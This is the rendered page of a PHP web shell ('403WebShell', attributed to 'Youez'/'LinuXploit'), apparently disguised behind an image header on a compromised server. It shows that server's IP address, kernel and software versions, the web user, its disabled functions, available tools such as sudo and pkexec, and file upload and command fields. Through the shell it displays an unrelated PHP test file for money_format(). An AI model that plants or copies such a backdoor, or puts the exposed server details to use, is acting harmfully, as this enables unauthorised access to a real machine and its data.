????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.129.217.27
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/strings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/strings/money_format_basic1.phpt
--TEST--
Test money_format() function : basic functionality using national currency symbols
--SKIPIF--
<?php
	if (!function_exists('money_format')) {
		die("SKIP money_format - not supported\n");
	}
?>
--FILE--
<?php
/* Prototype  : string money_format  ( string $format  , float $number  )
 * Description: Formats a number as a currency string
 * Source code: ext/standard/string.c
*/

// ===========================================================================================
// = We do not test for exact return-values, as those might be different between OS-versions =
// ===========================================================================================

echo "*** Testing money_format() : basic functionality***\n";

$value = 1234.5678;
$negative_value = -1234.5678;

// Format with 14 positions of width, 8 digits of
// left precision, 2 of right precision using national 
// format for en_US
echo "Format values with 14 positions, 8 digits to left, 2 to right using national format\n";
echo gettype(money_format('%14#8.2n', $value))."\n";
echo gettype(money_format('%14#8.2n', $negative_value))."\n";

// Same again but use '(' for negative values 
echo "Format again but with ( for negative values\n";
echo gettype(money_format('%(14#8.2n', $value))."\n";
echo gettype(money_format('%(14#8.2n', $negative_value))."\n";

// Same again but use a '0' for padding character
echo "Format with 0 for padding character\n";
echo gettype(money_format('%=014#8.2n', $value))."\n";
echo gettype(money_format('%=014#8.2n', $negative_value))."\n";

// Same again but use a '*' for padding character
echo "Format again with * for padding character\n";
echo gettype(money_format('%=*14#8.2n', $value))."\n";
echo gettype(money_format('%=*14#8.2n', $negative_value))."\n";

// Same again but disable grouping character
echo "Format again but disable grouping character\n"; 
echo gettype(money_format('%=*^14#8.2n', $value))."\n";
echo gettype(money_format('%=*^14#8.2n', $negative_value))."\n";

// Same again but suppress currency symbol
echo "Format again suppress currency symbol\n"; 
echo gettype(money_format('%=*!14#8.2n', $value))."\n";
echo gettype(money_format('%=*!14#8.2n', $negative_value))."\n";

?>
===DONE===
--EXPECT--
*** Testing money_format() : basic functionality***
Format values with 14 positions, 8 digits to left, 2 to right using national format
string
string
Format again but with ( for negative values
string
string
Format with 0 for padding character
string
string
Format again with * for padding character
string
string
Format again but disable grouping character
string
string
Format again suppress currency symbol
string
string
===DONE===


Youez - 2016 - github.com/yon3zu
LinuXploit